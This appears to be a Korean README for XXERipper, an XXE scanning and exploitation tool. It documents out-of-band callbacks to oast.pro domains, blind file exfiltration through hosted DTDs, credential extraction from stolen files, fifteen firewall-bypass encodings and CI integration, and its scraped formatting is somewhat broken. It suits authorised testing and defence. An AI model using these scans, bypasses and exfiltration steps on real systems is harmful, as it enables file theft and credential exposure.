XXERipper는 OOB 백엔드로 **`interactsh-client`**를 사용합니다. 두 가지 모드가 있습니다.

### Manual mode (default)

스캐너는 세션 도메인 아래에 페이로드를 구성하며, 클라이언트가 등록, 폴링, 복호화를 수행합니다. 스캐너는 Interactsh 프로토콜을 직접 사용하지 않습니다.```bash
# Terminal A
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro

# Terminal B
xxeripper https://target.com/api/xml \
    --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

스캔이 완료되면 각 대상의 요약에는 전송된 모든 페이로드를 나열하는 [OOB] 블록이 포함되며, 해당 기법 레이블과 함께 그룹화됩니다:``` [1/1] [MANUAL-OOB] https://target.com/api/xml Parser: libxml2 [!] 3 phase(s) skipped: - multipart_docx, svg (no --svg and no upload-shaped URL) - dos (no --unsafe) [OOB] 7 payload(s) dispatched — watch your interactsh-client terminal - [xxe-dns] xxe-dns-a1b2c3d4e5f6a7b8.c5f2a9b4e1d8a3f72c0b.oast.pro DNS-only parameter entity (blind parser fingerprint) - [xxe-dtd] xxe-dtd-9f8e7d6c5b4a3210.c5f2a9b4e1d8a3f72c0b.oast.pro External DTD fetch (blind file exfiltration via DTD) ...

root@kitploit:~
`interactsh-client`가 인터랙션을 출력하면, 서브도메인 접두사를 해당 `[OOB]` 줄에 다시 매칭하세요. 그 매칭이 확인입니다.

**수동 모드는 데이터 유출을 추출하지 않습니다.** 수동 모드에서 스캐너는 OOB 페이로드를 전송하고 즉시 반환합니다 — interactsh의 출력을 절대 읽지 않습니다. 유출된 내용은 스캐너의 loot 저장소가 아니라 interactsh 터미널에 표시됩니다. CLI 배너와 WebUI 작업 실행기 모두 유출이 구성되었지만 자동 모드가 꺼져 있을 때 경고를 출력합니다.

### 자동 모드 (`--oob-auto`)

스캐너는 `interactsh-client`를 서브프로세스로 실행하고, `-json -v` 이벤트 스트림을 읽고, 세션 도메인을 추출하고, 프로세스 내에서 콜백을 상호 연관시킵니다. 두 번째 터미널도, 수동 매칭도 필요 없습니다.```bash
xxeripper https://target.com/api/xml --oob-auto
# [*] Starting interactsh-client (--oob-auto)...
# [*] Session domain: c5f2a9b4e1d8a3f72c0b.oast.pro
# [*] Callbacks will be correlated automatically.

콜백은 도착하는 즉시 stderr에 출력됩니다:``` [OOB-CALLBACK] dns xxe-dtd-9f8e7d6c5b4a3210 from 203.0.113.42

root@kitploit:~
상관관계는 토큰 기반이다. 스캐너는 페이로드마다 고유한 16-hex 토큰을 생성하여 서브도메인에 삽입하고, 매핑을 기록한 뒤, 들어오는 콜백을 토큰으로 매칭한다. 서브도메인에 해당 서브도메인을 생성한 페이로드의 특정 대기 중 토큰이 포함되지 않은 콜백은 폐기되므로, 무관한 DNS 트래픽이 잘못 귀속될 수 없고 반복 *N*에 대한 느린 콜백이 반복 *N+1*에 귀속될 수도 없다. 상관된 콜백은 전체 +50 가중치를 가지며 필수 신호를 기여한다 — 그 자체로 발견을 CRITICAL로 승격시킬 수 있다(OOB 패밀리와 체인 무결성 또는 지문으로 두 패밀리 요구사항이 충족된 경우).

**배치 스캔**은 실행 수명 동안 하나의 `interactsh-client` 프로세스를 공유한다. 각 대상은 자체 토큰 집합을 가진 자체 `OOBClient` 뷰를 가지므로, `--threads 20`에서도 대상별 귀속이 정확하게 유지된다.

**웹 콘솔**에서 *Auto OOB mode*를 체크하면 서버 프로세스 수명 동안 하나의 공유 `interactsh-client`가 생성되며, 첫 auto-OOB 작업에서 지연 생성된 후 이후 재사용된다. 여러 동시 작업이 도메인을 공유하지만 독립적인 토큰 집합을 유지한다.

### 블라인드 유출

기본적으로 OOB 발견은 엔티티 해석이 발생했음을 확인한다 — 콜백이 도착했고, 토큰이 그것이 우리 것임을 증명한다. 파일 내용을 복구하지는 않는다. 내용을 복구하려면 스캐너가 대상이 파일을 콜백 URL로 전송하게 만드는 DTD를 제공해야 한다.

세 가지 DTD 호스팅 모드가 지원된다:

**내장 DTD 서버** (`--oob-listen HOST:PORT --oob-public-url URL`): 스캐너가 자체 HTTP 서버를 바인딩하고 요청 시 DTD를 제공한다. 테스트 랩, 동일 호스트 스캔, 그리고 대상이 스캐너의 주소에 도달할 수 있는 모든 환경에 최적이다.

**파일 기반 DTD 제공** (`--oob-dtd-dir PATH --oob-dtd-url-prefix URL`): 스캐너가 DTD 파일을 디렉터리에 기록하고, 사용자가 nginx, Apache, `python -m http.server` 또는 기타 수단으로 해당 디렉터리를 제공한다. 스캐너 자체 주소에 도달할 수 없는 실제 원격 대상에 최적이다.

**WebUI 호스팅 DTD 서버**: 새 스캔 드로어에서 **Serve DTDs from this WebUI**를 체크하고 공개 URL 접두사를 제공한다. 스캐너는 콘솔을 실행하는 동일한 Flask 프로세스의 `/dtd/<token>.dtd`에 DTD를 등록한다. 두 번째 터미널도, `python -m http.server`도, 별도 디렉터리도 필요 없다. 사용자는 대상이 WebUI의 바인드 주소에 도달할 수 있도록 보장해야 한다 — `--host 0.0.0.0`으로 바인딩하고 공개 IP 또는 호스트명을 제공하라.

유출이 활성화되면 `XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` 및 `XXE-CDATA-BYPASS-OOB` 발견이 추출된 파일 내용을 loot로 담는다. 인밴드 읽기에서 실행되는 것과 동일한 `FileContentExtractor` 및 `CredentialExtractor` 파이프라인이 유출된 바이트에서 실행되므로, 블라인드 `/etc/passwd` 읽기는 인밴드 읽기와 동일한 자격 증명 추출 및 붙여넣기 준비된 셸 스니펫을 생성한다. 유출된 내용은 WebUI **Loot** 탭, OOB 탭의 `exfiltrated` 블록, 그리고 HTML 보고서의 loot 섹션에 나타난다.

**전제 조건.** 대상이 사용자의 DTD 서버에 도달할 수 있어야 한다. Interactsh는 콜백을 기록하지만 내용을 제공하지 않으므로 실제 HTTP 엔드포인트를 대신할 수 없다. 이는 블라인드 XXE 유출이 작동하는 방식에 내재된 것이지, 스캐너의 한계가 아니다.

**수동 모드는 유출하지 않는다.** 유출은 스캐너가 자체 콜백 스트림을 읽어야 하며, 이는 `--oob-auto` 모드에서만 발생한다. `--oob-listen` 또는 `--oob-dtd-dir`로 수동 모드를 실행하면 DTD가 제공되고, 대상이 이를 가져오고, 대상이 파일 내용을 interactsh로 전송하지만 — 스캐너는 interactsh의 출력을 읽지 않으므로 이를 추출하지 않는다. 유출된 데이터는 interactsh 터미널에서 볼 수 있다.

### 언제 무엇을 사용할지

- **수동**이 더 안전한 기본값이다. 서브프로세스도, 암호화 핸드셰이크도 없으며, 클라이언트가 다른 호스트에서 실행되는 완전한 에어갭 조정을 포함한 모든 Interactsh 배포와 작동한다.
- **자동**은 배치 스캔과 CI에 더 빠르다. 명령 하나, 교차 참조 없음. `PATH`에 `interactsh-client`가 필요하다. 유출에 필요하다.

**자체 호스팅 서버**는 스캐너 측 변경 없이 두 모드 모두에서 작동한다 — `interactsh-client`를 사용자의 서버로 지정하고(그것의 `-s` / `-server` 플래그를 통해, 또는 바이너리를 셸 별칭으로 감싸서), 수동 모드에서는 출력된 세션 도메인을 `--oob-domain`에 전달하라.

---

## WAF 우회 인코딩

`--bypass-waf`는 핵심 단계가 실행된 *후에* 전체 페이로드 카탈로그를 하나 이상의 인코더를 통해 재전송한다. 이는 WAF가 고전적인 페이로드 형태를 차단하면서 변환된 동등물은 통과시키는지 테스트한다 — 그러나 인코딩된 스윕 뒤에 직접적인 발견을 숨기지 않으면서 그렇게 한다.

세 패밀리에 걸친 열다섯 개의 인코더:

**문서 인코더** (바이트 스트림을 변환):

| 이름 | 변환 | 비고 |
|---|---|---|
| `utf16be` | BOM이 있는 UTF-16 BE | 고전적인 바이트 스트림 시프트. 대부분의 WAF는 본문을 UTF-8로 디코딩하여 인터리브된 null을 놓친다. |
| `utf16le` | BOM이 있는 UTF-16 LE | 동일한 원리, 반대 엔디언. |
| `utf16decl` | BOM과 재작성된 선언이 있는 UTF-16 BE | 선언이 `encoding="UTF-16"`으로 업데이트되어 엄격한 파서가 이를 수용한다. |
| `utf16nobom` | BOM 없는 UTF-16 BE, 선언 재작성 | 일부 파서는 선언을 존중하고 엔디언을 추론하며, 일부 WAF는 BOM을 디코드 신호로 사용하여 BOM이 없는 본문을 건너뛴다. |
| `utf32be` | BOM이 있는 UTF-32 BE | WAF에서 UTF-16보다 덜 일반적으로 지원된다. |
| `utf32le` | BOM이 있는 UTF-32 LE | 동일, 반대 엔디언. |
| `ebcdic` | EBCDIC CP037 | 거의 어떤 WAF도 검사 전에 EBCDIC를 디코딩하지 않는다. libxml2는 자동 감지하고, Xerces와 .NET은 깔끔하게 거부한다. |
| `ucs4_2143` | UCS-4 바이트 순서 2,1,4,3 | Unicode TR#17 순열. 바이트 패턴이 어떤 UTF-32 BE/LE 시그니처와도 일치하지 않으므로 WAF가 디코딩하지 않는다. CVE-2024-47873에서 PhpSpreadsheet의 XmlScanner를 우회한 것과 동일한 순서. |
| `utf8bom` | BOM이 있는 UTF-8 | 미미하지만 공짜. `^<?xml`에 고정된 정규식을 무력화한다. |

**키워드 회피 인코더** (엔티티 선언을 변환):

| 이름 | 변환 | 비고 |
|---|---|---|
| `public` | `SYSTEM "…"` → `PUBLIC "-//x//" "…"` | 유효한 XML. `SYSTEM "file://`만 매칭하는 WAF는 놓친다. |
| `public_charref` | `SYSTEM` 키워드 → `PUBLIC` 선언 내부의 hex 문자 참조 | 문자 참조는 `PubidLiteral` 내부에서는 확장되지만 `SystemLiteral` 내부에서는 확장되지 않는다. 파서는 `SYSTEM`을 공개 ID로 재조립하며, 리터럴 문자열을 매칭하는 WAF는 놓친다. |
| `b64_uri` | `SYSTEM "file://…"` → `data:text/plain;base64,…` | 우회 프로브이지 파일 읽기 프리미티브가 아니다 — 엔티티는 파일 내용이 아닌 URI *문자열*로 해석된다. WAF가 무력화될 수 있음을 확인하는 데 사용하고, 추출을 위해서는 애플리케이션 수준 싱크와 결합하라. |

**문법 수준 인코더** (유효한 XML, 게으른 WAF 무력화):

| 이름 | 변환 | 비고 |
|---|---|---|
| `whitespace_pad` | XML 선언에 512개의 공백 삽입 | XML은 선언 의사 속성 사이에 임의의 공백을 허용한다. 본문의 처음 N 바이트만 검사하는 WAF는 패딩된 선언을 보고 DOCTYPE에 도달하지 못한다. |
| `doctype_closure` | `]>` 뒤에 미끼 주석 | 일부 WAF는 DOCTYPE을 파싱하여 끝을 찾은 다음 나머지를 검사한다. `]>` 뒤에 XML 주석을 삽입하면 해당 파서를 조기 종료로 오도하여 엔티티 선언을 건너뛰게 할 수 있다. XML 파서는 주석을 무시한다. |
| `pe_stager` | 엔티티 선언을 파라미터 엔티티 체인으로 재작성 | WAF는 `<!ENTITY % stage "…"`와 `%stage;`를 보지만 단일 선언에서 `SYSTEM "file://…"` URI는 결코 보지 못한다. 파서는 `%stage`를 확장하여 실제 엔티티를 선언한다. 내부 서브셋 파라미터 엔티티를 허용하는 모든 파서에서 작동한다 — Xerces와 .NET은 기본적으로, libxml2는 빌드 시 내부 PE 제한이 해제된 경우에만. |

주어진 페이로드에서 출력이 입력과 바이트 단위로 동일한 인코더는 건너뛴다(요청 전송 없음). 발견은 살아남은 (페이로드 × 인코더) 조합마다 `XXE-WAF-BYPASS-<ENCODER>`(또는 OOB 패밀리의 경우 `XXE-WAF-BYPASS-<ENCODER>-<PAYLOAD>`)로 발생하거나, OOB 패밀리의 경우 상관된 콜백이 도착할 때만 발생한다.```bash
# All encoders
xxeripper https://target.com/api/xml --bypass-waf all --oob-auto

# A targeted subset — the five highest-yield encoders
xxeripper https://target.com/api/xml \
    --bypass-waf utf16be,ucs4_2143,public_charref,whitespace_pad,b64_uri \
    --oob-auto

# Also encode custom payloads (skips those using {CALLBACK} / {DOMAIN})
xxeripper https://target.com/api/xml \
    --bypass-waf utf16be,ebcdic --bypass-waf-include-custom

단계 순서. WAF 우회 단계는 핵심 단계들 이후에 실행되며, 이전이 아니다. 평범한 SYSTEM "file://" 페이로드에 응답하는 대상에게 1,500개의 인코딩된 변형을 먼저 보낼 필요는 없다 — 직접 프로브가 약 20개의 요청으로 이를 찾아내며, 인코딩된 전수 조사는 그것들이 차단되었을 때를 위한 대체 수단이다. 이 단계는 여전히 동일한 카탈로그를 사용하고, 동일한 발견을 생성하며, --bypass-waf가 설정되었을 때 실행된다; 단지 전수 조사 뒤에 직접 적중을 숨기지 않을 뿐이다.

요청량. 약 100개의 페이로드 × 15개의 인코더로 구성된 카탈로그는 최악의 경우 대상당 약 1,500개의 요청이 된다. 실시간 예산이 유일한 제한 장치이며; 이 단계는 매 전송 전에 마감 시각을 확인하고 깔끔하게 중단한다. 대규모 대상의 경우, --bypass-waf all보다 이름이 지정된 인코더 하위 집합을 선호하라.


사용자 정의 페이로드```bash

Inline

xxeripper https://target.com/api/xml
--payload '%p;]>'
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

Payload file (separate multiple payloads with a --- line)

xxeripper https://target.com/api/xml --payload-file my_payloads.xml

Payload directory

xxeripper https://target.com/api/xml --payload-dir ./custom_xxe/

root@kitploit:~
각 파일은 모든 파일 대상에 대해 테스트됩니다. 발견 사항은 `XXE-CUSTOM-<filename>`으로 귀속됩니다. 사용자 정의 페이로드는 내장 단계와 동일한 OOB 헬퍼를 통해 라우팅되므로, 해당 서브도메인과 기법 레이블이 `[OOB]` 체크리스트(수동 모드)에 나타나거나 상관된 콜백을 트리거합니다(자동 모드).

**쿠키 및 Burp 통합:** 쿠키 우선순위는 인라인 > 쿠키 파일 > Burp 요청입니다. Netscape-jar 및 `key=value` 형식이 모두 지원됩니다. Burp 요청은 메서드와 종단 간 헤더를 보존하며, 홉 간 헤더와 스캐너가 관리하는 `Cookie`/`Content-Type`은 전달되지 않습니다. 스킴은 `Host` 헤더, HTTP 버전 라인, 그리고 요청이 지닌 `X-Forwarded-Proto` / `Forwarded` / `:scheme` 헤더로부터 도출됩니다. 443/8443/9443/10443/6443/7443/4443 → HTTPS; 80/8000/8008/8080/8088/8888 → HTTP; 알 수 없는 포트와 HTTP/2 요청 → 기본적으로 HTTPS. IPv6 호스트는 올바르게 파싱됩니다.

**사전 인증 재생:** `--pre-auth-request FILE`은 Burp 형식 요청을 받아, 기준 캡처 전에 대상에 대해 한 번 재생하고, 모든 `Set-Cookie` 헤더를 jar에 병합합니다. 플래그를 반복하면 여러 요청이 순서대로 재생되므로, 2단계 흐름(CSRF 토큰 가져오기, 그다음 자격 증명 POST)이 작동합니다. 각 재생의 쿠키는 시퀀스의 다음 요청에서 사용할 수 있습니다.

**사용자 정의를 통한 WAF 우회:** `--bypass-waf-include-custom`은 인코더 스윕을 사용자 페이로드까지 확장합니다. `{CALLBACK}` 또는 `{DOMAIN}`을 참조하는 사용자 정의는 건너뜁니다(인코딩된 OOB 페이로드는 플레이스홀더를 통해 상관될 수 없습니다).

---

## 출력 형식

### JSON (스키마 1.1)```json
{
    "schema_version": "1.1",
    "tool": "XXE-Ripper",
    "summary": { "targets": 1, "vulnerable_targets": 1, "custom_payloads_loaded": 0 },
    "results": [{
        "url": "https://target.com/api/xml",
        "parser_fingerprint": "libxml2",
        "findings": [{
            "id": "XXE-INBAND-FILE-READ-linux-passwd",
            "severity": "CRITICAL",
            "title": "In-band XXE file read: /etc/passwd",
            "confirmed": true,
            "exploitability": "confirmed",
            "cwe": ["CWE-611", "CWE-200"],
            "cwe_descriptions": ["...", "..."],
            "confidence": 85,
            "evidence": {
                "file_type": "/etc/passwd",
                "indicators_matched": 4,
                "score": 85,
                "loot_id": "file:9a1c...",
                "extracted_content_preview": "root:x:0:0:root:/root:/bin/bash\n..."
            },
            "reasons": ["File fingerprint '/etc/passwd' matched (4 indicators)", "..."]
        }],
        "loot": [{
            "id": "file:9a1c...",
            "kind": "file",
            "source_path": "/etc/passwd",
            "technique": "XXE-INBAND-FILE-READ-linux-passwd",
            "content": "root:x:0:0:...",
            "size": 2841,
            "sha256": "...",
            "credentials": []
        }],
        "loot_counts": { "total": 1, "files": 1, "secrets": 0 },
        "oob_payloads_sent": 7,
        "oob_subdomains": ["xxe-dns-...oast.pro"],
        "oob_observations": [{"technique": "xxe-dns", "subdomain": "...", "note": "..."}]
    }]
}

내부 skipped_phases 필드는 직렬화된 JSON에서 제거된다 — 이는 터미널 커버리지 보고서를 위한 부기(bookkeeping)일 뿐, 취약점 발견 사항이 아니다.

SARIF v2.1.0

모든 취약점 발견 ID는 helpUri가 기본 CWE 정의를 가리키는 SARIF 규칙이 된다. 모든 취약점 발견은 artifactLocation.uri가 대상 URL인 결과가 된다. 추가 필드(confidence, cwe, reasons, evidence)는 result.properties에 포함된다. 심각도 매핑: CRITICAL/HIGH → error, MEDIUM → warning, LOW/INFO → note.

HTML 보고서

--report-html PATH는 자체 포함된 단일 HTML 파일을 작성한다. CDN 링크, 외부 이미지, 웹폰트가 없다. 모든 브라우저에서 열리고, 오프라인에서도 동일하게 렌더링되며, 깔끔하게 인쇄된다.

섹션:

  • 요약 보고서 — 스캔한 대상, 취약한 대상, 최고 심각도, 확인된 개수, 탈취물 개수.
  • 익스플로잇 체인 — 완료된 체인당 하나의 카드로, 단계 흐름과 단계별 증거를 포함한다.
  • 추출된 탈취물 — 파일당 하나의 카드로, 전체 내용과 추출된 자격 증명을 포함한다. 각 자격 증명은 해당 필드와 개별 복사 버튼이 있는 붙여넣기 가능한 셸 스니펫을 보여준다.
  • 대상별 취약점 발견 — 대상당 하나의 표로, 심각도, ID, 설명, CWE, 이유, 구조화된 증거를 포함한다.
  • 인쇄 친화적 CSS — 보고서는 인쇄 시 밝은 배경의 종이 위 잉크 스타일로 렌더링된다.

웹 콘솔은 동일한 HTML 보고서를 /api/jobs/<jid>/report.html에서 인라인으로 제공하며(View HTML 버튼을 통해), /api/jobs/<jid>/report.html.download에서 다운로드한다(HTML 버튼을 통해).

콘솔 판정

root@kitploit:~
    - multipart_docx, svg  (no --svg and no upload-shaped URL)
    - dos  (no --unsafe)

[CRITICAL] [CWE-611,CWE-200] score=85 In-band XXE file read: /etc/passwd CWE: CWE-611 — Improper Restriction of XML External Entity Reference CWE: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor ↳ File fingerprint '/etc/passwd' matched (4 indicators) ↳ Full entity chain resolved ↳ 0 credential(s) extracted from /etc/passwd

root@kitploit:~
---

## 신뢰성 및 커버리지

| 기능 | 동작 |
|---|---|
| HTTP/2 협상 | `build_session`은 `http2=True`로 `httpx.Client`를 생성한다. ALPN 핸드셰이크는 서버가 지원하는 경우 HTTP/2를 협상하고, 그렇지 않으면 조용히 HTTP/1.1로 폴백한다. 대상별 설정 없음 |
| 단계별 격리 | 모든 단계는 `_run_phase` 내부에서 실행되며, 이는 모든 예외를 포착하고 `--debug` 하에 트레이스백을 기록하며 `phase_error` 이벤트를 발생시키고 다음 단계로 계속 진행한다 |
| 속도 제한 | `--rate N`은 대상별 요청 간 최소 간격 `1/N`초를 강제하며, 모든 전송 경로가 참조하는 공유 `RateLimiter` 인스턴스에 의해 적용된다. `--threads`와 독립적 |
| 재시도 및 백오프 | 일시적 실패(`ConnectError`, `RemoteProtocolError`, `ReadError`, `WriteError`, `TimeoutException`)는 0.5초, 0.75초, 1.125초 백오프로 세 번 재시도한다 |
| Retry-After 준수 | 429 및 503에서 준수하며, 최대 10초로 제한 |
| OOB 전송 시 널 응답 가드 | 실패한 전송은 스캔을 지연시키는 대신 폴링 대기를 건너뛴다 |
| 디스크 지문 캐시 | `~/.cache/xxeripper/fingerprints.json`. 동일한 URL의 반복 스캔은 9개 프로브 시퀀스를 건너뛴다. 파일을 삭제하거나 `--no-fingerprint-cache`를 전달하여 무효화 |
| 실시간 예산 | `--budget SECONDS` — 모든 단계는 각 전송 전에 `ctx.expired()`를 확인하고 깔끔하게 중단한다 |
| 협력적 취소 | `ScanContext.cancel()` 호출은 모든 단계에 신호를 보낸다. 웹 콘솔은 **Stop** 버튼을 통해 이를 노출한다 |
| TLS 토글 | 펜테스트 용도로 검증은 기본적으로 꺼져 있으며, `--verify-tls`로 다시 활성화한다 |
| CI 종료 코드 | 0 = 정상, 1 = 구성 오류, 2 = `--fail-on` 이상의 발견, 130 = Ctrl-C |
| 스레드 안전 발견 | `add_finding`은 잠금으로 보호되며 중복 ID를 제자리에서 병합한다 — 심각도 상향, `confirmed` OR 연산, `max(confidence)` 적용, 이유와 증거의 합집합 — 중복 항목을 내보내는 대신. 모든 병합과 모든 새로운 발견은 이벤트를 발생시켜 웹 콘솔이 실시간으로 업데이트된다 |
| 스레드 안전 OOB 통계 | `OOBClient.stats()`는 잠긴 스냅샷을 반환하여 CLI 요약이 실행 중인 단계에서도 일관된 뷰를 읽을 수 있게 한다 |
| 중복 제거된 전리품 | `LootStore.add_file`과 `LootStore.add_secret`은 콘텐츠의 SHA-256을 키로 사용한다. 동일한 파일을 복구한 두 발견은 하나의 전리품 항목을 생성한다 |
| 커버리지 보고 | 사람이 읽을 수 있는 이유와 함께 대상별 건너뛰기 목록; 건너뛰기가 있는 대상의 스캔 종료 요약 |
| CI에서의 지문 캐시 | `HOME`을 영속 캐시 디렉터리로 지정하여 실행당 9개 요청을 절약한다. 캐시 크기는 URL당 약 1 KB |

재시도 어댑터는 의도적으로 HTTP 500을 재시도하지 않는다 — 오류 기반 XXE 대상은 의도적으로 500을 반환하며, 재시도는 신호를 숨긴다.

---

## CI/CD 통합

### GitHub Actions```yaml
- name: XXE scan
  run: xxeripper "$TARGET_URL" --oob-auto \
      --full-file-scan -o results --format both \
      --report-html results.html --fail-on high

- name: Upload SARIF
  if: always()
  uses: github/codeql-action/upload-sarif@v3
  with: { sarif_file: results.sarif, category: xxeripper }

- name: Upload HTML report
  if: always()
  uses: actions/upload-artifact@v4
  with: { name: xxe-report, path: results.html }

GitLab CI```yaml

xxe-scan: script: - xxeripper "$TARGET_URL" --oob-auto --full-file-scan
-o report --format both --fail-on medium - cp report.json gl-sast-report.json artifacts: reports: { sast: gl-sast-report.json } paths: [ report.html ] when: always

root@kitploit:~
### CI에서의 핑거프린트 캐싱```yaml
- uses: actions/cache@v4
  with:
    path: ~/.cache/xxeripper
    key: xxeripper-fingerprints-${{ github.ref }}

캐시 크기는 URL당 약 1KB이며, 대상의 파서가 변경되지 않는 한 실행 간에 안정적입니다.

CI에서의 자동 OOB. --oob-auto는 PATH에 interactsh-client가 필요합니다. GitHub 호스팅 러너에서는 설정 단계에서 설치하십시오:```yaml

  • name: Install interactsh-client run: | go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest echo "$HOME/go/bin" >> "$GITHUB_PATH"
root@kitploit:~
CI 환경에서 임의의 서브도메인으로 나가는 DNS가 차단되어 있다면, 파이프라인에서 접근할 수 있는 자체 호스팅 Interactsh 서버와 함께 수동 모드를 사용하십시오.

**CI에서의 블라인드 유출.** 유출 파이프라인이 loot 항목을 생성하려면 CI 러너가 대상에서 접근 가능해야 합니다. 이는 일반적으로 대상이 접근할 수 있는 네트워크에 있는 자체 호스팅 러너를 의미하거나, `--oob-dtd-dir`과 대상이 가져올 수 있는 외부에서 제공되는 디렉터리를 결합하는 것을 의미합니다. Interactsh만으로는 작동하지 않습니다 — 콜백을 기록하지만 콘텐츠를 제공하지는 않습니다.

---

## 포함된 랩에 대한 테스트

XXERipper는 프로덕션 애플리케이션이 배포하는 것과 동일한 구성에서 **실제 취약한 파서**를 실행하는 두 개의 로컬 테스트 랩과 함께 제공됩니다. 이들은 모의 객체가 아닙니다 — 각각 특정 기법을 노출하여 스캐너가 이를 올바르게 탐지하는지 확인할 수 있게 하며, 각각 오탐 유도 엔드포인트를 포함하여 스캐너가 과다 보고하지 *않는지* 확인할 수 있습니다.

두 랩 모두 `127.0.0.1`에 바인딩되며 설계상 요청 시 로컬 파일을 읽습니다. **소유하지 않은 네트워크에 이들을 노출하지 마십시오.**

### 랩 목록

| 랩 | 파일 | 스택 | 포트 | 입증하는 것 |
|---|---|---|---|---|
| Python | `xxe_lab.py` | Flask + lxml → libxml2, 모든 아웃바운드 엔티티 가져오기에 httpx (HTTP/1.1 또는 ALPN을 통한 HTTP/2) | `127.0.0.1:5000` | 열 개의 기법 계열에 걸친 54개 엔드포인트, 그리고 모든 범위 지정 기법에 대한 안전한 대응 엔드포인트와 자동 채점을 위한 verdicts API. 기본적으로 HTTP를 제공하며, `--https` / `--autocert`를 통한 TLS 지원 |
| Java | `xxe_lab.java` | `com.sun.net.httpserver` + Xerces | `127.0.0.1:5001` | 최신 libxml2가 C 레벨에서 차단하는 오류 기반 XXE |

### Python 랩 — `xxe_lab.py`

랩 의존성을 설치하십시오 (스캐너 자체의 요구 사항과 격리됨):```bash
# If you install by hand rather than `make lab`:
pip install 'flask>=3.0,<4.0' 'lxml>=5.0' 'httpx[http2]>=0.27,<0.29' 'PyYAML>=6.0'

The lab pulls httpx[http2] for the same reason the scanner does — outbound entity fetches negotiate HTTP/2 via ALPN when the OOB collector or metadata endpoint speaks it, and fall back silently to HTTP/1.1 otherwise. Inbound Flask is HTTP/1.1 regardless.```bash make lab python3 xxe_lab.py

[*] XXE Test Lab v1 on http://127.0.0.1:5000

[*] Default mode: realistic (override: X-Lab-Mode header or ?lab_mode=)

[*] 54 endpoints registered

[*] Verdicts API: GET /api/verdicts

[*] Do NOT expose this to untrusted networks.

root@kitploit:~
이 랩은 세 가지 판정 클래스에 걸쳐 **54개의 엔드포인트**를 노출합니다: 36개의 `vuln`, 17개의 `safe`, 1개의 `fn` 미끼.

### TLS

이 랩은 기본적으로 HTTP로 통신합니다. 세 가지 플래그로 TLS를 켤 수 있습니다:

| 플래그 | 동작 |
|---|---|
| `--https` | TLS를 통해 서비스합니다. `$TMPDIR/xxe-lab-certs/` 아래에 캐시된 자체 서명 인증서가 있으면 재사용하고, 그렇지 않으면 `openssl`로 새로 생성합니다. 재시작 간에 캐시된 인증서를 재사용하면 스캐너 측 TLS 지문이 안정적으로 유지됩니다. |
| `--autocert` | **새로 생성된** 자체 서명 인증서로 TLS를 통해 서비스합니다. 항상 `openssl`을 실행하고 캐시된 인증서를 덮어씁니다. `--https`를 암시합니다. `--cert` / `--key`와 함께 사용할 수 없습니다. |
| `--cert PATH` / `--key PATH` | 제공된 PEM 쌍으로 TLS를 통해 서비스합니다. 둘 다 함께 지정해야 합니다. |

`--host`와 `--port`는 바인드 주소를 재정의하며(기본값 `127.0.0.1:5000`), `FLASK_HOST`와 `FLASK_PORT` 환경 변수는 기본값으로 적용됩니다.```bash
python3 xxe_lab.py --autocert --port 8443
# [*] XXE Test Lab v1 on https://127.0.0.1:8443
# [*] TLS cert: /tmp/xxe-lab-certs/cert.pem  [generated (fresh)]
# [*] TLS key:  /tmp/xxe-lab-certs/key.pem
# [*] Self-signed — scanners must skip cert verification.

생성된 인증서는 RSA-2048, 365일, CN=127.0.0.1, subjectAltName=IP:127.0.0.1,DNS:localhost이며 — 암호 문구가 없습니다. PATH에 openssl이 필요합니다 (-addext를 위해서는 OpenSSL 1.1.1+). 이러한 제약 없이 인증서가 필요하다면 대신 --cert / --key를 전달하세요.

두 가지 모드

랩에는 요청별로 전환 가능한 두 가지 응답 모드가 있습니다:

realistic (기본값) — 실제 애플리케이션을 모방합니다. 잘못된 Content-Type은 415를 반환하고, 잘못된 형태는 파서로 넘어가거나(소프트 게이트) 일반적인 400을 반환합니다(하드 게이트). 이유는 누출되지 않습니다. 스캐너는 응답 형태만으로 "대상이 내 페이로드를 거부했다"와 "대상이 수락했지만 해석하지 못했다"를 구분해야 합니다.

scoped — 결정론적 레거시 모드입니다. 범위를 벗어난 모든 본문은 아무것도 파싱하지 않고 안정적인 200 out of scope: <reason>을 반환합니다. 교차 기법 오탐 거부가 정확해야 하는 회귀 스위트를 위한 옵트인입니다.

헤더나 쿼리 매개변수로 요청별로 재정의하세요:``` Header: X-Lab-Mode: scoped | X-Lab-Mode: realistic Query param: ?lab_mode=scoped | ?lab_mode=realistic

root@kitploit:~
우선순위는 헤더 > 쿼리 파라미터 > 환경 변수 기본값(`XXE_LAB_MODE`)입니다.

### 엔드포인트 그룹

**범위 미지정 취약** — 모든 XML을 허용하며, 항상 취약한 파서로 파싱합니다:

| 엔드포인트 | 테스트 대상 |
|---|---|
| `POST /xml/vulnerable` | 인밴드 파일 읽기, 콘텐츠 타입 매트릭스, 체인 무결성 |
| `POST /xml/blind` | 무음 파서 — 엔티티를 해석하지만 절대 반영하지 않음 (OOB 전용) |
| `POST /xml/error` | 오류 채널 — 파서 트레이스백을 반환 |
| `POST /xml/reflect` | 원시 본문을 반영하면서 파싱 — 반영 거부권 테스트 |
| `POST /xml/timing` | 페이로드에 외부 SYSTEM 엔티티가 있을 때 지연 — 타이밍 기반 블라인드 |

**인밴드 및 전달 벡터**, **엔벨로프**, **인코딩**, **포함**, **확장 페처**, **파일 형식**, **파라미터 엔티티 및 메타데이터**, **블라인드 OOB** — 전체 엔드포인트 목록은 <http://127.0.0.1:5000/api/endpoints> 또는 랩 자체 UI인 <http://127.0.0.1:5000/>에서 확인할 수 있습니다.

### 안전 대응 엔드포인트

범위가 지정된 모든 취약 엔드포인트에는 **동일한 범위 검사**를 실행하지만 엔티티가 비활성화되고 네트워크 접근이 차단된 파서로 파싱하는 안전 대응 엔드포인트가 있습니다. 명명 규칙은 기계적입니다: `/xml/safe-form`은 `/xml/form`을, `/xml/safe-xslt`는 `/xml/xslt`를 미러링하는 식입니다.

